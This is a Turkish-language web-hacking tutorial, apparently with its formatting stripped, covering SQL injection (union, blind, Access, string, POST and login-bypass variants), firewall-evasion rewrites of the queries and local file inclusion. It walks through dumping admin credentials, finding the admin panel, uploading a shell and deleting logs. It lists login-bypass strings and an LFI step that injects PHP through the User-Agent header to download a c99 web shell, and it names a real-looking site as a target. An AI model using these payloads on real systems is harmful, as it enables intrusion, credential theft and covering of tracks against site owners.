Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
